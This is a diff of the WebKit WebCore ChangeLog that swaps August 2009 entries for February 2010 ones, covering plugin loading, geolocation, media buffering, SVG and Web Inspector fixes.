-        Because there is a bug in how text decorations are processes in getPropertiesNotInComputedStyle,
-        this patch simplifies the treatment in order to preserve the original behavior of WebKit.
-        However, the current implementation is not best (adds redundant text-decorations) and we should fix it later.
+        [Linux] Webkit incompatible with Java plugins
+        https://bugs.webkit.org/show_bug.cgi?id=24912
 
-        No test is added since there is no change in behavior.
+        Resolve symlinks before trying to load plugins as modules, since
+        GModule won't do it.
 
-        * editing/ApplyStyleCommand.cpp:
-        (WebCore::StyleChange::init): Uses getPropertiesNotInComputedStyle instead of iterating through the properties
-        (WebCore::StyleChange::reconcileTextDecorationProperties): Removes -webkit-text-decorations-in-effects and redundant "none"
-        (WebCore::getIdentifierValue): Obtains the identifier of a CSSPrimitiveValue
-        (WebCore::StyleChange::extractTextStyles): Converts properties in style to m_apply* and removes the property
-        (WebCore::getPropertiesNotInComputedStyle): Fixed a bug with how text decorations are treated
+        Based on original work by Gustavo Noronha.
 
-2009-08-18  Dumitru Daniliuc  <dumi@chromium.org>
+        * plugins/gtk/PluginPackageGtk.cpp:
+        (WebCore::PluginPackage::load):
 
-        Reviewed by Dimitri Glazkov.
+2010-02-17  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
 
-        Fixing a DB file naming bug in Chromium. The origin should come
-        before the DB name in the file name.
+        Reviewed by Xan Lopez.
 
-        https://bugs.webkit.org/show_bug.cgi?id=28331
+        Protect the resource loader object from disappearing during
+        parseDataUrl.
 
-        * storage/DatabaseTracker.cpp:
-        (WebCore::DatabaseTracker::fullPathForDatabase):
+        Tested by testdownload API test.
 
-2009-08-18  Maxime Simon  <simon.maxime@gmail.com>
+        * platform/network/soup/ResourceHandleSoup.cpp:
+        (WebCore::parseDataUrl):
 
-        Reviewed by Eric Seidel.
+2010-02-17  Marcus Bulach  <bulach@chromium.org>
 
-        [Haiku] Adding four image-specific files to WebCore:
-        IconHaiku.cpp, ImageBufferData.h, ImageBufferHaiku.cpp, ImageHaiku.cpp
-        https://bugs.webkit.org/show_bug.cgi?id=28130
-
-        * platform/graphics/Icon.h:
-        * platform/graphics/haiku/IconHaiku.cpp: Added.
-        (WebCore::Icon::~Icon):
-        (WebCore::Icon::createIconForFile):
-        (WebCore::Icon::createIconForFiles):
-        (WebCore::Icon::paint):
-        * platform/graphics/haiku/ImageBufferData.h: Added.
-        * platform/graphics/haiku/ImageBufferHaiku.cpp: Added.
-        (WebCore::ImageBufferData::ImageBufferData):
-        (WebCore::ImageBuffer::ImageBuffer):
-        (WebCore::ImageBuffer::~ImageBuffer):
-        (WebCore::ImageBuffer::context):
-        (WebCore::ImageBuffer::getUnmultipliedImageData):
-        (WebCore::ImageBuffer::getPremultipliedImageData):
-        (WebCore::ImageBuffer::putUnmultipliedImageData):
-        (WebCore::ImageBuffer::putPremultipliedImageData):
-        (WebCore::ImageBuffer::toDataURL):
-        (WebCore::ImageBuffer::image):
-        (WebCore::ImageBuffer::platformTransformColorSpace):
-        * platform/graphics/haiku/ImageHaiku.cpp: Added.
-        (WebCore::FrameData::clear):
-        (WebCore::Image::loadPlatformResource):
-        (WebCore::BitmapImage::initPlatformData):
-        (WebCore::BitmapImage::invalidatePlatformData):
-        (WebCore::BitmapImage::draw):
-        (WebCore::Image::drawPattern):
-        (WebCore::BitmapImage::checkForSolidColor):
-        (WebCore::BitmapImage::getBBitmap):
+        Reviewed by Jeremy Orlow.
 
-2009-08-18  Beth Dakin  <bdakin@apple.com>
+        Implements GeolocationServices for Chromium.
+        https://bugs.webkit.org/show_bug.cgi?id=32068
 
-        Reviewed by Dan Bernstein.
+        This is part of implementing Geolocation framework for Chromium. Existing layout tests should pass.
 
-        Fix for https://bugs.webkit.org/show_bug.cgi?id=27575 [CSS3 
-        Backgrounds and Borders] Drop the prefix from background-size
+        * WebCore.gypi:
+        * page/Geolocation.h:
+        * platform/GeolocationService.h:
 
-        * css/CSSComputedStyleDeclaration.cpp:
-        (WebCore::):
-        (WebCore::CSSComputedStyleDeclaration::getPropertyCSSValue):
-        * css/CSSParser.cpp:
-        (WebCore::CSSParser::parseValue):
-        (WebCore::CSSParser::parseFillProperty):
-        (WebCore::cssPropertyID):
-        * css/CSSPropertyNames.in:
-        * css/CSSStyleSelector.cpp:
-        (WebCore::CSSStyleSelector::applyProperty):
-        * page/animation/AnimationBase.cpp:
-        (WebCore::FillLayersPropertyWrapper::FillLayersPropertyWrapper):
-        (WebCore::ensurePropertyMap):
+2010-02-17  Steve Block  <steveblock@google.com>
 
-2009-08-18  Drew Wilson  <atwilson@google.com>
+        Reviewed by Ariya Hidayat.
 
-        Reviewed by David Levin.
+        Adds missing platform and feature guards to V8 bindings
+        https://bugs.webkit.org/show_bug.cgi?id=34987
 
-        SharedWorkers need to forward exceptions to parent documents
-        https://bugs.webkit.org/show_bug.cgi?id=28320
+        No new tests, build fix only.
 
-        Changed SharedWorkerProxy to have individual mutexes (so workers can interact with their parent documents without contention).
+        * bindings/v8/V8Proxy.cpp: Modified. Adds CHROMIUM guards and uses PlatformBridge in place of ChromiumBridge
+        * bindings/v8/V8Proxy.h: Modified. Adds CHROMIUM guards and uses PlatformBridge in place of ChromiumBridge
+        * bindings/v8/custom/V8DocumentCustom.cpp: Modified. Adds XPATH guards
 
-        Updated SharedWorkerProxy to forward exceptions/console messages to all parent documents.
+2010-02-17  Steve Block  <steveblock@google.com>
 
-        * bindings/js/JSSharedWorkerConstructor.cpp:
-        Cleaned up bitrot - added missing include.
-        * workers/DefaultSharedWorkerRepository.cpp:
-        (WebCore::postExceptionTask):
-        Callback used to deliver exceptions to a document.
-        (WebCore::SharedWorkerProxy::postExceptionToWorkerObject):
-        Forwards exceptions to all parent documents for presentation to the user.
-        (WebCore::postConsoleMessageTask):
-        (WebCore::SharedWorkerProxy::postConsoleMessageToWorkerObject):
-        Forwards console messages to all parent documents for presentation to the user.
-        (WebCore::SharedWorkerProxy::addToWorkerDocuments):
-        Grabs the mutex before accessing workerDocuments.
-        (WebCore::SharedWorkerProxy::documentDetached):
-        Grabs the mutex before accessing workerDocuments.
-
-2009-08-18  Anders Carlsson  <andersca@apple.com>
+        Reviewed by Ariya Hidayat.
 
-        Reviewed by Adele Peterson.
+        Include WebCore's npruntime.h for Android in V8 bindings
+        https://bugs.webkit.org/show_bug.cgi?id=35002
 
-        <rdar://problem/7135588> HTMLMediaElement should ask WebPolicyLoadDelegate before loading resource
-        
-        * html/HTMLMediaElement.cpp:
-        (WebCore::HTMLMediaElement::isSafeToLoadURL):
-        Call FrameLoaderClient::shouldLoadMediaElementURL.
-        
-        * loader/FrameLoaderClient.h:
-        (WebCore::FrameLoaderClient::shouldLoadMediaElementURL):
-        Return true by default.
+        Currently, the V8 bindings include bindings/npruntime.h, which is a
+        Chromium-specific file outside of the WebKit tree.
 
-2009-08-18  Dumitru Daniliuc  <dumi@chromium.org>
+        No new tests, build fix only.
 
-        Reviewed by Dimitri Glazkov.
+        * bindings/v8/NPV8Object.cpp:
+        * bindings/v8/NPV8Object.h:
+        * bindings/v8/V8NPObject.h:
+        * bindings/v8/V8NPUtils.h:
+        * bindings/v8/npruntime_impl.h:
+        * bindings/v8/npruntime_priv.h:
 
-        openDatabase() should not execute any SQL statement on the
-        database it's trying to open, unless there are no other open
-        handles to the same database. Otherwise, we might run into a
-        deadlock.
+2010-01-07  Philippe Normand  <pnormand@igalia.com>
 
-        Test: storage/open-database-while-transaction-in-progress.html
+        Reviewed by Gustavo Noronha Silva.
 
-        https://bugs.webkit.org/show_bug.cgi?id=28207
+        [GStreamer] Should handle BUFFERING messages
+        https://bugs.webkit.org/show_bug.cgi?id=30004
 
-        * storage/Database.cpp:
-        (WebCore::Database::performOpenAndVerify):
+        Initial support for on-disk buffering of videos. This works only
+        for Quicktime and flv though.
 
-2009-08-18  Dirk Schulze  <krit@webkit.org>
+        * css/mediaControlsGtk.css:
+        * platform/gtk/RenderThemeGtk.cpp:
+        (WebCore::RenderThemeGtk::paintMediaSliderTrack): Draw the
+        buffering status in the media controls.
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::mediaPlayerPrivateMessageCallback): Defer buffering
+        messages handling to processBufferingStats().
+        (WebCore::bufferingTimeoutCallback): Closure called periodically
+        during the on-disk buffering process.
+        (WebCore::MediaPlayerPrivate::MediaPlayerPrivate): New instance
+        variables and create playbin2 here instead of doing it in load().
+        (WebCore::MediaPlayerPrivate::~MediaPlayerPrivate): New instance
+        variables.
+        (WebCore::MediaPlayerPrivate::load): Simply set uri on playbin2
+        instead of creating the pipeline and setting uri all together.
+        (WebCore::MediaPlayerPrivate::processBufferingStats): Start a new
+        timeout source if the player is starting on-disk buffering.
+        (WebCore::MediaPlayerPrivate::queryBufferingStats): Method called
+        200ms during on-disk buffering to update the maxTimeLoaded and few
+        other private variables.
+        (WebCore::MediaPlayerPrivate::maxTimeSeekable):
+        (WebCore::MediaPlayerPrivate::maxTimeLoaded):
+        (WebCore::MediaPlayerPrivate::bytesLoaded): Fixed implementations
+        regarding buffering.
+        (WebCore::MediaPlayerPrivate::totalBytes): Improved logging.
+        (WebCore::MediaPlayerPrivate::updateStates): Start playback if it
+        was internally paused at beginning of on-disk buffering and set
+        ready/network states depending on the state of the on-disk
+        buffering process.
+        (WebCore::MediaPlayerPrivate::didEnd): Emit durationChanged.
+        (WebCore::MediaPlayerPrivate::setAutobuffer): Edit playbin2 flags
+        property depending on autoBuffer value.
+        (WebCore::MediaPlayerPrivate::createGSTPlayBin): Don't set uri
+        there, it is now done in load().
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.h: New methods
+        and instance variables.
+
+2010-02-16  Chris Evans  <cevans@chromium.org>
 
-        Reviewed by Oliver Hunt.
+        Reviewed by Adam Barth.
 
-        SVG Filter feBlend implementation missing
-        [https://bugs.webkit.org/show_bug.cgi?id=28133]
+        Add a new setting which gives the option of assigning every file:///
+        to its own unique domain.
 
-        Implementation of SVG Filter feBlend.
+        https://bugs.webkit.org/show_bug.cgi?id=34778
 
-        FilterEffect.cp needed changes to optimize the rendering. With the old code
-        we drew a subEffect on the current FilterEffect by drawImage, got the PixelArray,
-        cleared the drawing area, drew the next FilterEffect with drawImage and picked this
-        PixelArray again. This was unefficient and slow. Now we calculate the requested area
-        of the subEffect and ask the FilterEffect's ImageBuffer for the PixelArray directly,
-        without any drawing operations on GraphicsContext.
+        Test: Pending in forthcoming separate change due to non-trivial
+        dependencies.
 
-        There is already a test case
-        Test: svg/W3C-SVG-1.1/filters-blend-01-b.svg
+        * dom/Document.cpp:
+        (WebCore::Document::initSecurityContext): Place file:/// URI documents
+        into their own unique domains if the new setting requires it.
+        * page/Settings.h:
+        * page/Settings.cpp:
+        (WebCore::Settings::setAllowFileAccessFromFileURLs): Simple setter.
+        * page/SecurityOrigin.h:
+        * page/SecurityOrigin.cpp:
+        (WebCore::SecurityOrigin::makeUnique): Add simple ability to force an
+        origin to be considered unique.
 
-        * html/canvas/CanvasPixelArray.h:
-        (WebCore::CanvasPixelArray::set):
-        (WebCore::CanvasPixelArray::get):
-        * platform/graphics/filters/FEBlend.cpp:
-        (WebCore::unknown):
-        (WebCore::normal):
-        (WebCore::multiply):
-        (WebCore::screen):
-        (WebCore::darken):
-        (WebCore::lighten):
-        (WebCore::FEBlend::apply):
-        * platform/graphics/filters/FEBlend.h:
-        * platform/graphics/filters/FilterEffect.cpp:
-        (WebCore::FilterEffect::calculateDrawingIntRect):
-        * platform/graphics/filters/FilterEffect.h:
-
-2009-08-18  Pavel Feldman  <pfeldman@chromium.org>
+2010-02-16  Pavel Feldman  <pfeldman@chromium.org>
 
         Reviewed by Timothy Hatcher.
 
-        WebInspector: Fix array formatter followup: node formatter.
+        Web Inspector: drosera/demo.js not syntax highlighted correctly.
 
-        https://bugs.webkit.org/show_bug.cgi?id=28427
+        https://bugs.webkit.org/show_bug.cgi?id=35008
 
-        * inspector/front-end/ConsoleView.js:
-        (WebInspector.ConsoleView.prototype._format):
+        * inspector/front-end/SourceTokenizer.js:
+        (WebInspector.SourceTokenizer.Registry):
+        (WebInspector.SourceTokenizer.Registry.prototype.getTokenizer):
 
-2009-08-18  Pavel Feldman  <pfeldman@chromium.org>
+2010-02-16  Pavel Feldman  <pfeldman@chromium.org>
 
         Reviewed by Timothy Hatcher.
 
-        WebInspector: Metrics sidebar broken
-
-        https://bugs.webkit.org/show_bug.cgi?id=28434
-
-        * inspector/front-end/MetricsSidebarPane.js:
-
-2009-08-18  Alexey Proskuryakov  <ap@apple.com>
-
-        Reviewed by Darin Adler.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28432
-        String::createCFString() returns a non-retained empty string
-
-        No known change in functionality, so no test.
-
-        * platform/text/cf/StringCF.cpp: (WebCore::String::createCFString): Retain the CFSTR result.
-    
-2009-08-18  Brian Weinstein  <bweinstein@apple.com>
-
-        Reviewed by Oliver Hunt.
-
-        Fix of <https://bugs.webkit.org/show_bug.cgi?id=28326> DRT on Windows doesn't support 
-        LayoutTestController::setQuota or print a callback on UIDelegate::exceededDatabaseQuota.
-        
-        Removed an early return that can cause deleteOrigin or deleteAllDatabases to fail when
-        it doesn't have to.
-
-        * storage/DatabaseTracker.cpp:
-        (WebCore::DatabaseTracker::deleteOrigin):
-
-2009-08-18  Michelangelo De Simone  <micdesim@gmail.com>
+        Web Inspector: prefer smooth scrolling to instant highlight.
 
-        Reviewed by Adele Peterson.
+        https://bugs.webkit.org/show_bug.cgi?id=34978
 
-        https://bugs.webkit.org/show_bug.cgi?id=27357
-        Support for :valid and :invalid CSS selectors, from HTML5 specs.
-        http://www.whatwg.org/specs/web-apps/current-work/#selector-valid
+        * inspector/front-end/TextViewer.js:
+        (WebInspector.TextViewer):
+        (WebInspector.TextViewer.prototype._scroll):
+        (WebInspector.TextChunk):
+        (WebInspector.TextChunk.prototype._createRow):
+        * inspector/front-end/textViewer.css:
 
-        Tests: fast/css/pseudo-invalid-001.html
-               fast/css/pseudo-invalid-002.html
-               fast/css/pseudo-valid-001.html
-               fast/css/pseudo-valid-002.html
-               fast/css/pseudo-valid-003.html
-               fast/css/pseudo-valid-004.html
-               fast/css/pseudo-valid-005.html
-               fast/css/pseudo-valid-006.html
-               fast/css/pseudo-valid-007.html
+2010-02-16  Yael Aharon  <yael.aharon@nokia.com>
 
-        * css/CSSSelector.cpp:
-        (WebCore::CSSSelector::extractPseudoType): extracts new pseudo-classes
-        * css/CSSSelector.h:
-        (WebCore::CSSSelector::):
-        * css/CSSStyleSelector.cpp:
-        (WebCore::CSSStyleSelector::canShareStyleWithElement): Make sure we don't share style between
-form controls that have different validity states.
-        (WebCore::CSSStyleSelector::SelectorChecker::checkOneSelector): applies
-        style associated to new pseudo-classes
-        * dom/Element.h:
-        (WebCore::Element::willValidate): pushed up in hierarchy
-        (WebCore::Element::isValidFormControlElement): checks for valid form
-        control elements (wraps ValidityState::valid())
-        * html/HTMLFormControlElement.cpp:
-        (WebCore::HTMLFormControlElement::willValidate): minor clean up
-        (WebCore::HTMLFormControlElement::isValidFormControlElement): ditto
-        * html/HTMLFormControlElement.h:
-        * html/HTMLKeygenElement.h:
-        (WebCore::HTMLKeygenElement::willValidate): added
-        * html/HTMLObjectElement.h:
-        (WebCore::HTMLObjectElement::willValidate): added
-        * html/HTMLObjectElement.idl:
-
-2009-08-18  Pavel Feldman  <pfeldman@chromium.org>
+        Reviewed by Nikolas Zimmermann.
 
-        Reviewed by Timothy Hatcher.
+        SVG not rendered as background-image from data URI
+        https://bugs.webkit.org/show_bug.cgi?id=33630
 
-        WebInspector: Fix array formatter.
+        When the background image is an SVG image, and it is smaller than the area
+        it is supposed to fill, we were using renderSubTreeToImage to draw it.
+        That call was not going through all the drawing phases, and so the SVG itself
+        would not be drawn.
 
-        https://bugs.webkit.org/show_bug.cgi?id=28427
+        Test: svg/css/background-image-svg.html
 
-        * inspector/front-end/ConsoleView.js:
-        (WebInspector.ConsoleView.prototype._formatarray):
+        * svg/graphics/SVGImage.cpp:
+        (WebCore::SVGImage::nativeImageForCurrentFrame):
 
-2009-08-17  Joe Mason  <joe.mason@torchmobile.com>
+2010-02-16  Bryan Yeung  <bryeung@chromium.org>
 
-        Reviewed by George Staikos
+        Reviewed by Nikolas Zimmermann.
 
-        Replace repeated string of PLATFORM(FOO) with a single define
-        https://bugs.webkit.org/show_bug.cgi?id=27734
+        Remove the bounds on stroke width and miter for the skia platform.
+        https://bugs.webkit.org/show_bug.cgi?id=34954
 
-        * loader/CachedFont.cpp:
-        (WebCore::CachedFont::~CachedFont):
-        (WebCore::CachedFont::ensureCustomFontData):
-        (WebCore::CachedFont::platformDataFromCustomData):
-        (WebCore::CachedFont::allClientsRemoved):
+        Test: svg/custom/stroke-width-large.svg
 
-2009-08-16  David Hyatt  <hyatt@apple.com>
+        * platform/graphics/skia/PlatformContextSkia.cpp:
+        (PlatformContextSkia::setupPaintForStroking):
 
-        Reviewed by Dan Bernstein.
+2010-02-16  MORITA Hajime  <morrita@gmail.com>
 
-        https://bugs.webkit.org/show_bug.cgi?id=20329, shadows and reflections incorrectly
-        considered part of scrollable overflow.
+        Reviewed by Nikolas Zimmermann.
 
-        This patch takes the engine's concept of overflow and splits it into two types:
-        layout overflow and visual overflow.
-        
-        Layout overflow is about other boxes that spill out of an enclosing box,  For example,
-        in the inline flow case a tall image could spill out of a line box. Examples of 
-        visual overflow are shadows, text stroke (and eventually outline and
-        border-image).
-
-        Three objects tracked overflow before this patch: RenderBlock had 
-        m_overflowLeft/Top/Width/Height variables.  RootInlineBox had an Overflow*
-        that also had four overflow values.  Finally RenderReplaced elements tracked shadow/reflection
-        overflow using a map that cached four values.
-        
-        This patch takes all of these different overflow models and unifies them into a single
-        new class called RenderOverflow.   This class is now a member variable in RenderBox and
-        InlineFlowBoxes.  It is only allocated if overflow actually exists.  Instead of tracking
-        four values, it tracks eight: left/top/right/bottom for layout overflow and 
-        left/top/right/bottom for visual overflow.
-        
-        Overflow computation is now done after layout is finished rather than during layout
-        (when child objects can be churning and moving around).  A number of layout tests progressed
-        by deferring overflow computation to a separate pass.
-        
-        All inline flow boxes now track overflow (and not just the root line box).  This allows
-        repainting of line boxes to actually be tight and bail early if the overflow rect of a box
-        doesn't intersect.  The old code always visited all object on a line if the root line box
-        intersected at all.
-        
-        Line box overflow no longer propagates across self-painting layers.  This fixes a number of
-        issues with incorrect scrollbars appearing when relative positioned inlines were used in a page.
-        
-        Layer bounds have been modified to exclude visual overflow.  The width/height members only really
-        have one reason for continued existence, and that is that they happen to be used in repaint()
-        when an overflow clip object's height isn't accurate.  In this case, the bounds should exclude
-        visual overflow anyway, so this change tightens that repaint up.
-        
-        Root lines have renamed m_selectionTop/Bottom to m_lineTop/Bottom and positionForPoint methods have
-        been changed to use these instead of relying on overflow (which was totally wrong).
+        REGRESSION: SVG text disappaears after double click
+        https://bugs.webkit.org/show_bug.cgi?id=34880
 
-        Significant changes have been made to the "almost strict mode" line box quirk where objects with no
-        text children have no effect on the height of a line.  Instead of making the height() of the objects
-        variable and dependent on overflow, the objects now have their full height and get placed on
-        the baseline properly.  They simply don't contribute to overflow above lineTop/Bottom.
-        
-        Reflections are no longer considered overflow of any kind.  Because reflections have their own layers,
-        it is not necessary to treat them as visual or layout overflow in the RenderObject tree.  The end result
-        of not incorporating them into RenderOverflow is that they have no effect on scrolling.  transparencyClipBox
-        has been extended to support fully reflecting the entire clip box when a reflection exists.  This fixes
-        numerous repaint bugs in transparent objects with reflections when the transparent objects had self-painting
-        sublayers.
+        Tests: svg/text/selection-doubleclick.svg
+               svg/text/selection-tripleclick.svg
 
-        * WebCore.xcodeproj/project.pbxproj:
-        * dom/ContainerNode.cpp:
-        (WebCore::ContainerNode::getUpperLeftCorner):
-        * editing/visible_units.cpp:
-        (WebCore::previousLinePosition):
-        (WebCore::nextLinePosition):
-        * page/FrameView.cpp:
-        (WebCore::FrameView::adjustViewSize):
-        (WebCore::FrameView::adjustPageHeight):
-        * rendering/InlineBox.cpp:
-        (WebCore::InlineBox::height):
-        * rendering/InlineBox.h:
-        * rendering/InlineFlowBox.cpp:
-        (WebCore::InlineFlowBox::adjustPosition):
-        (WebCore::InlineFlowBox::placeBoxesHorizontally):
-        (WebCore::InlineFlowBox::placeBoxesVertically):
-        (WebCore::InlineFlowBox::computeVerticalOverflow):
-        (WebCore::InlineFlowBox::nodeAtPoint):
-        (WebCore::InlineFlowBox::paint):
-        * rendering/InlineFlowBox.h:
-        (WebCore::InlineFlowBox::InlineFlowBox):
-        (WebCore::InlineFlowBox::topCombinedOverflow):
-        (WebCore::InlineFlowBox::bottomCombinedOverflow):
-        (WebCore::InlineFlowBox::leftCombinedOverflow):
-        (WebCore::InlineFlowBox::rightCombinedOverflow):
-        (WebCore::InlineFlowBox::combinedOverflowRect):
-        (WebCore::InlineFlowBox::topLayoutOverflow):
-        (WebCore::InlineFlowBox::bottomLayoutOverflow):
-        (WebCore::InlineFlowBox::leftLayoutOverflow):
-        (WebCore::InlineFlowBox::rightLayoutOverflow):
-        (WebCore::InlineFlowBox::layoutOverflowRect):
-        (WebCore::InlineFlowBox::topVisualOverflow):
-        (WebCore::InlineFlowBox::bottomVisualOverflow):
-        (WebCore::InlineFlowBox::leftVisualOverflow):
-        (WebCore::InlineFlowBox::rightVisualOverflow):
-        (WebCore::InlineFlowBox::visualOverflowRect):
-        (WebCore::InlineFlowBox::setHorizontalOverflowPositions):
-        (WebCore::InlineFlowBox::setVerticalOverflowPositions):
-        * rendering/InlineTextBox.cpp:
-        (WebCore::InlineTextBox::paint):
-        * rendering/RenderBlock.cpp:
-        (WebCore::RenderBlock::RenderBlock):
-        (WebCore::RenderBlock::layout):
-        (WebCore::RenderBlock::layoutBlock):
-        (WebCore::RenderBlock::addOverflowFromBlockChildren):
-        (WebCore::RenderBlock::handleBottomOfBlock):
-        (WebCore::RenderBlock::layoutBlockChildren):
-        (WebCore::RenderBlock::paint):
-        (WebCore::RenderBlock::fillInlineSelectionGaps):
-        (WebCore::RenderBlock::floatRect):
-        (WebCore::RenderBlock::lowestPosition):
-        (WebCore::RenderBlock::rightmostPosition):
-        (WebCore::RenderBlock::leftmostPosition):
-        (WebCore::RenderBlock::addOverhangingFloats):
-        (WebCore::RenderBlock::nodeAtPoint):
-        (WebCore::RenderBlock::positionForPointWithInlineChildren):
-        (WebCore::RenderBlock::layoutColumns):
-        (WebCore::getHeightForLineCount):
-        * rendering/RenderBlock.h:
-        * rendering/RenderBlockLineLayout.cpp:
-        (WebCore::RenderBlock::computeHorizontalPositionsForLine):
-        (WebCore::RenderBlock::computeVerticalPositionsForLine):
-        (WebCore::RenderBlock::layoutInlineChildren):
-        (WebCore::RenderBlock::matchedEndLine):
-        (WebCore::RenderBlock::addOverflowFromInlineChildren):
-        * rendering/RenderBox.cpp:
-        (WebCore::RenderBox::destroy):
-        (WebCore::RenderBox::clippedOverflowRectForRepaint):
-        (WebCore::RenderBox::localCaretRect):
-        (WebCore::RenderBox::addShadowAndReflectionOverflow):
-        (WebCore::RenderBox::addOverflowFromChild):
-        (WebCore::RenderBox::addLayoutOverflow):
-        (WebCore::RenderBox::addVisualOverflow):
-        (WebCore::RenderBox::clearLayoutOverflow):
-        * rendering/RenderBox.h:
-        (WebCore::RenderBox::combinedOverflowRect):
-        (WebCore::RenderBox::topCombinedOverflow):
-        (WebCore::RenderBox::bottomCombinedOverflow):
-        (WebCore::RenderBox::leftCombinedOverflow):
-        (WebCore::RenderBox::rightCombinedOverflow):
-        (WebCore::RenderBox::layoutOverflowRect):
-        (WebCore::RenderBox::topLayoutOverflow):
-        (WebCore::RenderBox::bottomLayoutOverflow):
-        (WebCore::RenderBox::leftLayoutOverflow):
-        (WebCore::RenderBox::rightLayoutOverflow):
-        (WebCore::RenderBox::visualOverflowRect):
-        (WebCore::RenderBox::topVisualOverflow):
-        (WebCore::RenderBox::bottomVisualOverflow):
-        (WebCore::RenderBox::leftVisualOverflow):
-        (WebCore::RenderBox::rightVisualOverflow):
-        * rendering/RenderFlexibleBox.cpp:
-        (WebCore::RenderFlexibleBox::layoutBlock):
-        (WebCore::RenderFlexibleBox::layoutHorizontalBox):
-        (WebCore::RenderFlexibleBox::layoutVerticalBox):
-        * rendering/RenderLayer.cpp:
-        (WebCore::RenderLayer::updateLayerPosition):
-        (WebCore::RenderLayer::localBoundingBox):
-        * rendering/RenderLayerCompositor.cpp:
-        (WebCore::RenderLayerCompositor::updateRootLayerPosition):
-        (WebCore::RenderLayerCompositor::ensureRootPlatformLayer):
-        * rendering/RenderLineBoxList.cpp:
-        (WebCore::RenderLineBoxList::paint):
-        (WebCore::RenderLineBoxList::hitTest):
-        * rendering/RenderListItem.cpp:
-        (WebCore::RenderListItem::positionListMarker):
-        * rendering/RenderObject.cpp:
-        (WebCore::RenderObject::RenderObject):
-        * rendering/RenderObject.h:
-        * rendering/RenderOverflow.h: Added.
-        (WebCore::RenderOverflow::RenderOverflow):
-        (WebCore::RenderOverflow::topLayoutOverflow):
-        (WebCore::RenderOverflow::bottomLayoutOverflow):
-        (WebCore::RenderOverflow::leftLayoutOverflow):
-        (WebCore::RenderOverflow::rightLayoutOverflow):
-        (WebCore::RenderOverflow::topVisualOverflow):
-        (WebCore::RenderOverflow::bottomVisualOverflow):
-        (WebCore::RenderOverflow::leftVisualOverflow):
-        (WebCore::RenderOverflow::rightVisualOverflow):
-        (WebCore::RenderOverflow::setTopLayoutOverflow):
-        (WebCore::RenderOverflow::setBottomLayoutOverflow):
-        (WebCore::RenderOverflow::setLeftLayoutOverflow):
-        (WebCore::RenderOverflow::setRightLayoutOverflow):
-        (WebCore::RenderOverflow::setTopVisualOverflow):
-        (WebCore::RenderOverflow::setBottomVisualOverflow):
-        (WebCore::RenderOverflow::setLeftVisualOverflow):
-        (WebCore::RenderOverflow::setRightVisualOverflow):
-        (WebCore::RenderOverflow::layoutOverflowRect):
-        (WebCore::RenderOverflow::visualOverflowRect):
-        (WebCore::RenderOverflow::combinedOverflowRect):
-        (WebCore::RenderOverflow::move):
-        (WebCore::RenderOverflow::addLayoutOverflow):
-        (WebCore::RenderOverflow::addVisualOverflow):
-        (WebCore::RenderOverflow::resetLayoutOverflow):
-        * rendering/RenderPartObject.cpp:
-        (WebCore::RenderPartObject::layout):
-        * rendering/RenderReplaced.cpp:
-        (WebCore::RenderReplaced::~RenderReplaced):
-        (WebCore::RenderReplaced::layout):
-        (WebCore::RenderReplaced::shouldPaint):
-        (WebCore::RenderReplaced::positionForPoint):
-        (WebCore::RenderReplaced::clippedOverflowRectForRepaint):
-        * rendering/RenderReplaced.h:
-        * rendering/RenderScrollbarPart.cpp:
-        (WebCore::RenderScrollbarPart::layout):
-        (WebCore::RenderScrollbarPart::paintIntoRect):
-        * rendering/RenderSlider.cpp:
-        (WebCore::RenderSlider::layout):
-        * rendering/RenderTable.cpp:
-        (WebCore::RenderTable::layout):
-        (WebCore::RenderTable::paint):
-        * rendering/RenderTableCell.cpp:
-        (WebCore::RenderTableCell::clippedOverflowRectForRepaint):
-        * rendering/RenderTableSection.cpp:
-        (WebCore::RenderTableSection::layoutRows):
-        * rendering/RenderTableSection.h:
-        * rendering/RenderText.cpp:
-        (WebCore::RenderText::positionForPoint):
-        (WebCore::RenderText::localCaretRect):
-        * rendering/RenderView.cpp:
-        (WebCore::RenderView::layout):
-        * rendering/RootInlineBox.cpp:
-        (WebCore::RootInlineBox::addHighlightOverflow):
-        (WebCore::RootInlineBox::adjustPosition):
-        (WebCore::RootInlineBox::verticallyAlignBoxes):
-        (WebCore::RootInlineBox::selectionTop):
-        * rendering/RootInlineBox.h:
-        (WebCore::RootInlineBox::RootInlineBox):
-        (WebCore::RootInlineBox::nextRootBox):
-        (WebCore::RootInlineBox::prevRootBox):
-        (WebCore::RootInlineBox::lineTop):
-        (WebCore::RootInlineBox::lineBottom):
-        (WebCore::RootInlineBox::selectionBottom):
-        (WebCore::RootInlineBox::selectionHeight):
-        (WebCore::RootInlineBox::floats):
-        (WebCore::RootInlineBox::floatsPtr):
-        (WebCore::RootInlineBox::setLineTopBottomPositions):
         * rendering/SVGRootInlineBox.cpp:
-        (WebCore::SVGRootInlineBox::layoutInlineBoxes):
-
-2009-08-18  Alexey Proskuryakov  <ap@apple.com>
+        (WebCore::SVGRootInlineBoxPaintWalker::mayHaveSelection):
+        Use InlineTextBox::selectionStartEnd() instead of
+        RenderObject::selectionStartEnd() because latter may span multiple
+        comparing startPos and endPos is irrelevant in some cases.
+        former selectionStartEnd() is for single line and comparing
+        startPos and endPos will make sense.
 
-        Reviewed by Darin Adler.
+2010-02-16  Jessie Berlin  <jberlin@webkit.org>
 
-        https://bugs.webkit.org/show_bug.cgi?id=28431
-        <rdar://problem/7137610> Application Cache doesn't work with HTTP authentication
+        Reviewed by Timothy Hatcher.
 
-        Test: http/tests/appcache/auth.html
+        Inspector should display Array lengths in the property lists.
+        https://bugs.webkit.org/show_bug.cgi?id=20695
 
-        * loader/appcache/ApplicationCacheGroup.h:
-        (WebCore::ApplicationCacheGroup::shouldUseCredentialStorage): If appcache is enabled,
-        always allow it to use stored credentials (we can't ask WebKit client, and maybe we
-        shouldn't ask it, because it's not a document that's loading these resources).
+        * inspector/front-end/InjectedScript.js:
+        (injectedScriptConstructor):
+        For objects of type 'array' (which includes Arrays, NodeLists, and HTMLCollections), make the length of the object available via propertyLength on the proxy object.
+        * inspector/front-end/ObjectPropertiesSection.js:
+        (WebInspector.ObjectPropertyTreeElement.prototype.update):
+        For properties that have propertyLength defined, append it to the displayed description.
 
-2009-08-18  Anders Carlsson  <andersca@apple.com>
+2010-02-16  Yusuke Sato  <yusukes@chromium.org>
 
-        Reviewed by John Sullivan and David Hyatt.
+        Reviewed by Dimitri Glazkov.
 
